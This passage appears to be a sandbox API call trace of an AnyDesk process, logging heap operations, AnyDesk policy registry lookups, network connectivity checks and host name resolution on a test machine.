hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bca0 | out: hHeap=0x3b0000) returned 1 [0199.166] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0199.166] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0199.166] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acb8 | out: hHeap=0x3b0000) returned 1 [0199.167] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c00 | out: hHeap=0x3b0000) returned 1 [0199.167] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bd20 | out: hHeap=0x3b0000) returned 1 [0199.167] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.167] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12cb0 | out: hHeap=0x3b0000) returned 1 [0199.167] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bba8 | out: hHeap=0x3b0000) returned 1 [0199.167] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bd88 | out: hHeap=0x3b0000) returned 1 [0199.167] SwitchToFiber (lpFiber=0x5c4f98) [0199.167] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2586816646740) returned 1 [0199.167] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0211.825] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2589606524616) returned 1 [0211.825] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bda8 [0211.826] GetCurrentThreadId () returned 0xa0c [0211.826] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bd68 | out: hHeap=0x3b0000) returned 1 [0211.826] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac58 [0211.826] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0211.827] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0211.827] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2589606694407) returned 1 [0211.827] SwitchToFiber (lpFiber=0x6525a0) [0211.827] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bda8 | out: hHeap=0x3b0000) returned 1 [0211.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0cf08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0211.828] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe14898 [0211.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0cf08, cbMultiByte=-1, lpWideCharStr=0xe14898, cchWideChar=8 | out: lpWideCharStr="waiting") returned 8 [0211.828] GetLastError () returned 0xb7 [0211.829] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe30678 [0211.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x402f20c, cbMultiByte=-1, lpWideCharStr=0xe30678, cchWideChar=24 | out: lpWideCharStr="Waiting for 49 seconds.") returned 24 [0211.829] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0211.829] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550c0 [0211.829] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c20 | out: hHeap=0x3b0000) returned 1 [0211.829] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55c20 [0211.829] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bda8 [0211.829] GetCurrentThreadId () returned 0xa0c [0211.829] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe30678 | out: hHeap=0x3b0000) returned 1 [0211.829] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14898 | out: hHeap=0x3b0000) returned 1 [0211.829] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe0bd68 [0211.829] QueryPerformanceCounter (in: lpPerformanceCount=0x402f5a8 | out: lpPerformanceCount=0x402f5a8*=2589606945317) returned 1 [0211.829] GetCurrentThreadId () returned 0xa0c [0211.829] SwitchToFiber (lpFiber=0x5c4f98) [0211.829] SwitchToFiber (lpFiber=0x5ca728) [0211.830] GetLastError () returned 0xb7 [0211.830] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac58 [0211.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e1ef8c, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=2 | out: lpWideCharStr="0") returned 2 [0211.831] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0211.831] GetLastError () returned 0xb7 [0211.831] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac58 [0211.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e1efb0, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=4 | out: lpWideCharStr="1.0") returned 4 [0211.831] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0211.831] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bda8 | out: hHeap=0x3b0000) returned 1 [0211.831] SwitchToFiber (lpFiber=0x5c4f98) [0211.832] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2589607173425) returned 1 [0211.832] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x3e6) Thread: id = 455 os_tid = 0xa10 [0190.884] OleInitialize (pvReserved=0x0) returned 0x0 [0190.884] SetEvent (hEvent=0x178) returned 1 [0190.904] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x110, phkResult=0x28ff8f0 | out: phkResult=0x28ff8f0*=0x0) returned 0x2 [0190.905] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x110, phkResult=0x28ff8f0 | out: phkResult=0x28ff8f0*=0x0) returned 0x2 [0190.905] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies", ulOptions=0x0, samDesired=0x110, phkResult=0x28ff8f0 | out: phkResult=0x28ff8f0*=0x178) returned 0x0 [0190.905] RegNotifyChangeKeyValue (hKey=0x178, bWatchSubtree=1, dwNotifyFilter=0x5, hEvent=0x1d0, fAsynchronous=1) returned 0x0 [0190.905] MsgWaitForMultipleObjectsEx (nCount=0x4, pHandles=0x36da6c*=0x1d4, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff, dwFlags=0x0) Thread: id = 495 os_tid = 0xb14 [0194.153] OleInitialize (pvReserved=0x0) returned 0x0 [0194.154] SetEvent (hEvent=0x21c) returned 1 [0194.181] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe54fd0 [0194.181] CoCreateInstance (in: rclsid=0x15d120c*(Data1=0xdcb00c01, Data2=0x570f, Data3=0x4a9b, Data4=([0]=0x8d, [1]=0x69, [2]=0x19, [3]=0x9f, [4]=0xdb, [5]=0xa5, [6]=0x72, [7]=0x3b)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x15d11ec*(Data1=0xdcb00000, Data2=0x570f, Data3=0x4a9b, Data4=([0]=0x8d, [1]=0x69, [2]=0x19, [3]=0x9f, [4]=0xdb, [5]=0xa5, [6]=0x72, [7]=0x3b)), ppv=0x321fe24 | out: ppv=0x321fe24*=0x7cfeb8) returned 0x0 [0194.784] NetworkListManager:INetworkListManager:GetConnectivity (in: This=0x7cfeb8, pConnectivity=0x321fe2c | out: pConnectivity=0x321fe2c*=66) returned 0x0 [0197.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bdc0 [0197.301] GetCurrentThreadId () returned 0xb14 [0197.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550c0 [0197.302] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e3b0 [0197.302] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55348 [0197.302] SetEvent (hEvent=0x1c0) returned 1 [0197.302] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0197.302] NetworkListManager:IUnknown:QueryInterface (in: This=0x7cfeb8, riid=0x1a0ca04*(Data1=0xb196b284, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x321fe28 | out: ppvObject=0x321fe28*=0x7cfe90) returned 0x0 [0197.302] NetworkListManager:IConnectionPointContainer:FindConnectionPoint (in: This=0x7cfe90, riid=0x15d11fc*(Data1=0xdcb00001, Data2=0x570f, Data3=0x4a9b, Data4=([0]=0x8d, [1]=0x69, [2]=0x19, [3]=0x9f, [4]=0xdb, [5]=0xa5, [6]=0x72, [7]=0x3b)), ppCP=0x321fe20 | out: ppCP=0x321fe20*=0x7cfeac) returned 0x0 [0197.302] IConnectionPoint:Advise (in: This=0x7cfeac, pUnkSink=0xe54fd0, pdwCookie=0x321fe30 | out: pdwCookie=0x321fe30*=0x1) returned 0x0 [0197.302] IUnknown:QueryInterface (in: This=0xe54fd0, riid=0x757797c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x321fd74 | out: ppvObject=0x321fd74*=0x0) returned 0x80004002 [0197.302] IUnknown:QueryInterface (in: This=0xe54fd0, riid=0x75783e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x321fd64 | out: ppvObject=0x321fd64*=0x0) returned 0x80004002 [0197.302] IUnknown:AddRef (This=0xe54fd0) returned 0x2 [0197.303] IUnknown:QueryInterface (in: This=0xe54fd0, riid=0x321fdb0*(Data1=0xdcb00001, Data2=0x570f, Data3=0x4a9b, Data4=([0]=0x8d, [1]=0x69, [2]=0x19, [3]=0x9f, [4]=0xdb, [5]=0xa5, [6]=0x72, [7]=0x3b)), ppvObject=0x321fda8 | out: ppvObject=0x321fda8*=0xe54fd0) returned 0x0 [0199.415] GetMessageW (lpMsg=0x321fe38, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) Thread: id = 496 os_tid = 0xb18 [0194.798] OleInitialize (pvReserved=0x0) returned 0x0 [0194.798] SetEvent (hEvent=0x24c) returned 1 [0194.835] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe54f88 [0194.836] CoCreateInstance (in: rclsid=0x15d120c*(Data1=0xdcb00c01, Data2=0x570f, Data3=0x4a9b, Data4=([0]=0x8d, [1]=0x69, [2]=0x19, [3]=0x9f, [4]=0xdb, [5]=0xa5, [6]=0x72, [7]=0x3b)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x15d11ec*(Data1=0xdcb00000, Data2=0x570f, Data3=0x4a9b, Data4=([0]=0x8d, [1]=0x69, [2]=0x19, [3]=0x9f, [4]=0xdb, [5]=0xa5, [6]=0x72, [7]=0x3b)), ppv=0x394fc34 | out: ppv=0x394fc34*=0x2440d60) returned 0x0 [0194.836] NetworkListManager:INetworkListManager:GetConnectivity (in: This=0x2440d60, pConnectivity=0x394fc3c | out: pConnectivity=0x394fc3c*=66) returned 0x0 [0198.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bc20 [0198.220] GetCurrentThreadId () returned 0xb18 [0198.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55258 [0198.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e3b0 [0198.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550d8 [0198.220] SetEvent (hEvent=0x1c0) returned 1 [0198.220] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55258 | out: hHeap=0x3b0000) returned 1 [0198.220] NetworkListManager:IUnknown:QueryInterface (in: This=0x2440d60, riid=0x1a0ca04*(Data1=0xb196b284, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x394fc38 | out: ppvObject=0x394fc38*=0x2440d38) returned 0x0 [0198.221] NetworkListManager:IConnectionPointContainer:FindConnectionPoint (in: This=0x2440d38, riid=0x15d11fc*(Data1=0xdcb00001, Data2=0x570f, Data3=0x4a9b, Data4=([0]=0x8d, [1]=0x69, [2]=0x19, [3]=0x9f, [4]=0xdb, [5]=0xa5, [6]=0x72, [7]=0x3b)), ppCP=0x394fc30 | out: ppCP=0x394fc30*=0x2440d54) returned 0x0 [0198.221] IConnectionPoint:Advise (in: This=0x2440d54, pUnkSink=0xe54f88, pdwCookie=0x394fc40 | out: pdwCookie=0x394fc40*=0x1) returned 0x0 [0198.221] IUnknown:QueryInterface (in: This=0xe54f88, riid=0x757797c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x394fb84 | out: ppvObject=0x394fb84*=0x0) returned 0x80004002 [0198.221] IUnknown:QueryInterface (in: This=0xe54f88, riid=0x75783e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x394fb74 | out: ppvObject=0x394fb74*=0x0) returned 0x80004002 [0198.221] IUnknown:AddRef (This=0xe54f88) returned 0x2 [0198.221] IUnknown:QueryInterface (in: This=0xe54f88, riid=0x394fbc0*(Data1=0xdcb00001, Data2=0x570f, Data3=0x4a9b, Data4=([0]=0x8d, [1]=0x69, [2]=0x19, [3]=0x9f, [4]=0xdb, [5]=0xa5, [6]=0x72, [7]=0x3b)), ppvObject=0x394fbb8 | out: ppvObject=0x394fbb8*=0xe54f88) returned 0x0 [0199.416] GetMessageW (lpMsg=0x394fc48, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) Thread: id = 497 os_tid = 0xb1c [0195.294] OleInitialize (pvReserved=0x0) returned 0x0 [0195.294] SetEvent (hEvent=0x26c) returned 1 [0195.428] GetTickCount () returned 0x1880dbd [0195.428] GetLastError () returned 0x57 [0195.429] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x214) returned 0xe4dee8 [0195.429] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0195.437] GetCurrentThreadId () returned 0xb1c [0195.437] SetLastError (dwErrCode=0x57) [0195.437] GetLastError () returned 0x0 [0195.437] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x400) returned 0xe5bef8 [0195.437] GetLastError () returned 0x0 [0195.437] SetLastError (dwErrCode=0x0) [0195.437] GetLastError () returned 0x0 [0195.437] SetLastError (dwErrCode=0x0) [0195.437] GetLastError () returned 0x0 [0195.437] SetLastError (dwErrCode=0x0) [0195.437] GetLastError () returned 0x0 [0195.437] SetLastError (dwErrCode=0x0) [0195.437] GetLastError () returned 0x0 [0195.438] SetLastError (dwErrCode=0x0) [0195.438] GetLastError () returned 0x0 [0195.438] SetLastError (dwErrCode=0x0) [0195.438] GetLastError () returned 0x0 [0195.438] SetLastError (dwErrCode=0x0) [0195.438] GetLastError () returned 0x0 [0195.438] SetLastError (dwErrCode=0x0) [0195.438] GetLastError () returned 0x0 [0195.438] SetLastError (dwErrCode=0x0) [0195.438] GetLastError () returned 0x0 [0195.438] SetLastError (dwErrCode=0x0) [0195.438] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0195.438] GetSystemTime (in: lpSystemTime=0x3d9f780 | out: lpSystemTime=0x3d9f780*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x17, wMilliseconds=0x81)) [0195.438] GetCurrentThreadId () returned 0xb1c [0195.438] GetCurrentProcessId () returned 0x994 [0195.438] GetLastError () returned 0x0 [0195.438] SetLastError (dwErrCode=0x0) [0195.438] GetLastError () returned 0x0 [0195.438] SetLastError (dwErrCode=0x0) [0195.438] GetLastError () returned 0x0 [0195.438] SetLastError (dwErrCode=0x0) [0195.438] GetLastError () returned 0x0 [0195.439] SetLastError (dwErrCode=0x0) [0195.439] GetLastError () returned 0x0 [0195.439] SetLastError (dwErrCode=0x0) [0195.439] GetLastError () returned 0x0 [0195.439] SetLastError (dwErrCode=0x0) [0195.439] GetLastError () returned 0x0 [0195.439] SetLastError (dwErrCode=0x0) [0195.439] GetLastError () returned 0x0 [0195.439] SetLastError (dwErrCode=0x0) [0195.439] GetLastError () returned 0x0 [0195.439] SetLastError (dwErrCode=0x0) [0195.439] GetLastError () returned 0x0 [0195.439] SetLastError (dwErrCode=0x0) [0195.439] GetLastError () returned 0x0 [0195.439] SetLastError (dwErrCode=0x0) [0195.439] GetLastError () returned 0x0 [0195.439] SetLastError (dwErrCode=0x0) [0195.439] GetLastError () returned 0x0 [0195.439] SetLastError (dwErrCode=0x0) [0195.439] GetLastError () returned 0x0 [0195.439] SetLastError (dwErrCode=0x0) [0195.439] GetLastError () returned 0x0 [0195.440] SetLastError (dwErrCode=0x0) [0195.440] GetLastError () returned 0x0 [0195.440] SetLastError (dwErrCode=0x0) [0195.440] GetLastError () returned 0x0 [0195.440] SetLastError (dwErrCode=0x0) [0195.440] GetLastError () returned 0x0 [0195.440] SetLastError (dwErrCode=0x0) [0195.440] GetLastError () returned 0x0 [0195.440] SetLastError (dwErrCode=0x0) [0195.440] GetLastError () returned 0x0 [0195.440] SetLastError (dwErrCode=0x0) [0195.440] GetLastError () returned 0x0 [0195.440] SetLastError (dwErrCode=0x0) [0195.440] GetLastError () returned 0x0 [0195.440] SetLastError (dwErrCode=0x0) [0195.440] GetLastError () returned 0x0 [0195.440] SetLastError (dwErrCode=0x0) [0195.440] GetLastError () returned 0x0 [0195.440] SetLastError (dwErrCode=0x0) [0195.440] GetLastError () returned 0x0 [0195.441] SetLastError (dwErrCode=0x0) [0195.441] GetLastError () returned 0x0 [0195.441] SetLastError (dwErrCode=0x0) [0195.441] GetLastError () returned 0x0 [0195.441] SetLastError (dwErrCode=0x0) [0195.441] GetLastError () returned 0x0 [0195.441] SetLastError (dwErrCode=0x0) [0195.441] GetLastError () returned 0x0 [0195.441] SetLastError (dwErrCode=0x0) [0195.441] GetLastError () returned 0x0 [0195.441] SetLastError (dwErrCode=0x0) [0195.441] GetLastError () returned 0x0 [0195.441] SetLastError (dwErrCode=0x0) [0195.441] GetLastError () returned 0x0 [0195.441] SetLastError (dwErrCode=0x0) [0195.441] GetLastError () returned 0x0 [0195.441] SetLastError (dwErrCode=0x0) [0195.441] GetLastError () returned 0x0 [0195.441] SetLastError (dwErrCode=0x0) [0195.441] GetLastError () returned 0x0 [0195.441] SetLastError (dwErrCode=0x0) [0195.442] GetLastError () returned 0x0 [0195.442] SetLastError (dwErrCode=0x0) [0195.442] GetLastError () returned 0x0 [0195.442] SetLastError (dwErrCode=0x0) [0195.442] GetLastError () returned 0x0 [0195.442] SetLastError (dwErrCode=0x0) [0195.442] GetLastError () returned 0x0 [0195.442] SetLastError (dwErrCode=0x0) [0195.442] GetLastError () returned 0x0 [0195.442] SetLastError (dwErrCode=0x0) [0195.442] GetLastError () returned 0x0 [0195.442] SetLastError (dwErrCode=0x0) [0195.442] GetLastError () returned 0x0 [0195.442] SetLastError (dwErrCode=0x0) [0195.442] GetLastError () returned 0x0 [0195.442] SetLastError (dwErrCode=0x0) [0195.442] GetLastError () returned 0x0 [0195.442] SetLastError (dwErrCode=0x0) [0195.442] GetLastError () returned 0x0 [0195.442] SetLastError (dwErrCode=0x0) [0195.442] GetLastError () returned 0x0 [0195.443] SetLastError (dwErrCode=0x0) [0195.443] GetLastError () returned 0x0 [0195.443] SetLastError (dwErrCode=0x0) [0195.443] GetLastError () returned 0x0 [0195.443] SetLastError (dwErrCode=0x0) [0195.443] GetLastError () returned 0x0 [0195.443] SetLastError (dwErrCode=0x0) [0195.443] GetLastError () returned 0x0 [0195.443] SetLastError (dwErrCode=0x0) [0195.443] GetLastError () returned 0x0 [0195.443] SetLastError (dwErrCode=0x0) [0195.443] GetLastError () returned 0x0 [0195.443] SetLastError (dwErrCode=0x0) [0195.443] GetLastError () returned 0x0 [0195.443] SetLastError (dwErrCode=0x0) [0195.443] GetLastError () returned 0x0 [0195.443] SetLastError (dwErrCode=0x0) [0195.443] GetLastError () returned 0x0 [0195.443] SetLastError (dwErrCode=0x0) [0195.443] GetLastError () returned 0x0 [0195.443] SetLastError (dwErrCode=0x0) [0195.443] GetLastError () returned 0x0 [0195.444] SetLastError (dwErrCode=0x0) [0195.444] GetLastError () returned 0x0 [0195.444] SetLastError (dwErrCode=0x0) [0195.444] GetLastError () returned 0x0 [0195.444] SetLastError (dwErrCode=0x0) [0195.444] GetLastError () returned 0x0 [0195.444] SetLastError (dwErrCode=0x0) [0195.444] GetLastError () returned 0x0 [0195.444] SetLastError (dwErrCode=0x0) [0195.444] GetLastError () returned 0x0 [0195.444] SetLastError (dwErrCode=0x0) [0195.444] GetLastError () returned 0x0 [0195.444] SetLastError (dwErrCode=0x0) [0195.444] GetLastError () returned 0x0 [0195.444] SetLastError (dwErrCode=0x0) [0195.444] GetLastError () returned 0x0 [0195.444] SetLastError (dwErrCode=0x0) [0195.444] GetLastError () returned 0x0 [0195.444] SetLastError (dwErrCode=0x0) [0195.444] GetLastError () returned 0x0 [0195.445] SetLastError (dwErrCode=0x0) [0195.445] GetLastError () returned 0x0 [0195.445] SetLastError (dwErrCode=0x0) [0195.445] GetLastError () returned 0x0 [0195.445] SetLastError (dwErrCode=0x0) [0195.445] GetLastError () returned 0x0 [0195.445] SetLastError (dwErrCode=0x0) [0195.445] GetLastError () returned 0x0 [0195.445] SetLastError (dwErrCode=0x0) [0195.445] GetLastError () returned 0x0 [0195.445] SetLastError (dwErrCode=0x0) [0195.445] GetLastError () returned 0x0 [0195.445] SetLastError (dwErrCode=0x0) [0195.445] GetLastError () returned 0x0 [0195.445] SetLastError (dwErrCode=0x0) [0195.445] GetLastError () returned 0x0 [0195.445] SetLastError (dwErrCode=0x0) [0195.445] GetLastError () returned 0x0 [0195.445] SetLastError (dwErrCode=0x0) [0195.445] GetLastError () returned 0x0 [0195.445] SetLastError (dwErrCode=0x0) [0195.445] GetLastError () returned 0x0 [0195.446] SetLastError (dwErrCode=0x0) [0195.446] GetLastError () returned 0x0 [0195.446] SetLastError (dwErrCode=0x0) [0195.446] GetLastError () returned 0x0 [0195.446] SetLastError (dwErrCode=0x0) [0195.446] GetLastError () returned 0x0 [0195.446] SetLastError (dwErrCode=0x0) [0195.446] GetLastError () returned 0x0 [0195.446] SetLastError (dwErrCode=0x0) [0195.446] GetLastError () returned 0x0 [0195.446] SetLastError (dwErrCode=0x0) [0195.446] GetLastError () returned 0x0 [0195.446] SetLastError (dwErrCode=0x0) [0195.446] GetLastError () returned 0x0 [0195.446] SetLastError (dwErrCode=0x0) [0195.446] GetLastError () returned 0x0 [0195.446] SetLastError (dwErrCode=0x0) [0195.446] GetLastError () returned 0x0 [0195.446] SetLastError (dwErrCode=0x0) [0195.446] GetLastError () returned 0x0 [0195.446] SetLastError (dwErrCode=0x0) [0195.446] GetLastError () returned 0x0 [0195.447] SetLastError (dwErrCode=0x0) [0195.447] GetLastError () returned 0x0 [0195.447] SetLastError (dwErrCode=0x0) [0195.447] GetLastError () returned 0x0 [0195.447] SetLastError (dwErrCode=0x0) [0195.447] GetLastError () returned 0x0 [0195.447] SetLastError (dwErrCode=0x0) [0195.447] GetLastError () returned 0x0 [0195.447] SetLastError (dwErrCode=0x0) [0195.447] GetLastError () returned 0x0 [0195.447] SetLastError (dwErrCode=0x0) [0195.447] GetLastError () returned 0x0 [0195.447] SetLastError (dwErrCode=0x0) [0195.447] GetLastError () returned 0x0 [0195.447] SetLastError (dwErrCode=0x0) [0195.447] GetLastError () returned 0x0 [0195.447] SetLastError (dwErrCode=0x0) [0195.447] GetLastError () returned 0x0 [0195.447] SetLastError (dwErrCode=0x0) [0195.447] GetLastError () returned 0x0 [0195.447] SetLastError (dwErrCode=0x0) [0195.447] GetLastError () returned 0x0 [0195.448] SetLastError (dwErrCode=0x0) [0195.448] GetLastError () returned 0x0 [0195.448] SetLastError (dwErrCode=0x0) [0195.448] GetLastError () returned 0x0 [0195.448] SetLastError (dwErrCode=0x0) [0195.448] GetLastError () returned 0x0 [0195.448] SetLastError (dwErrCode=0x0) [0195.448] GetLastError () returned 0x0 [0195.448] SetLastError (dwErrCode=0x0) [0195.448] GetLastError () returned 0x0 [0195.448] SetLastError (dwErrCode=0x0) [0195.448] GetLastError () returned 0x0 [0195.448] SetLastError (dwErrCode=0x0) [0195.448] GetLastError () returned 0x0 [0195.448] SetLastError (dwErrCode=0x0) [0195.448] GetLastError () returned 0x0 [0195.448] SetLastError (dwErrCode=0x0) [0195.448] GetLastError () returned 0x0 [0195.448] SetLastError (dwErrCode=0x0) [0195.448] GetLastError () returned 0x0 [0195.448] SetLastError (dwErrCode=0x0) [0195.448] GetLastError () returned 0x0 [0195.448] SetLastError (dwErrCode=0x0) [0195.448] GetLastError () returned 0x0 [0195.449] SetLastError (dwErrCode=0x0) [0195.449] GetLastError () returned 0x0 [0195.449] SetLastError (dwErrCode=0x0) [0195.449] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1459 [0195.449] WriteFile (in: hFile=0x144, lpBuffer=0x3d9ee8c*, nNumberOfBytesToWrite=0x8b, lpNumberOfBytesWritten=0x3d9f7b8, lpOverlapped=0x0 | out: lpBuffer=0x3d9ee8c*, lpNumberOfBytesWritten=0x3d9f7b8*=0x8b, lpOverlapped=0x0) returned 1 [0195.449] ReleaseMutex (hMutex=0xd8) returned 1 [0195.449] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0195.449] gethostname (in: name=0x3d9f830, namelen=256 | out: name="Q9iATrkPrH") returned 0 [0196.044] gethostbyname (name="Q9iATrkPrH") returned 0x234940*(h_name="Q9iATrkPrH", h_aliases=0x234950*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x234954*=([0]="192.168.0.205")) [0197.520] inet_ntoa (in=0xcd00a8c0) returned="192.168.0.205" [0197.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2348f4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0197.520] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1c) returned 0xe58378 [0197.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2348f4, cbMultiByte=-1, lpWideCharStr=0xe58378, cchWideChar=14 | out: lpWideCharStr="192.168.0.205") returned 14 [0197.520] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0197.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0197.520] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550c0 [0197.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15daca8, cbMultiByte=-1, lpWideCharStr=0xe550c0, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 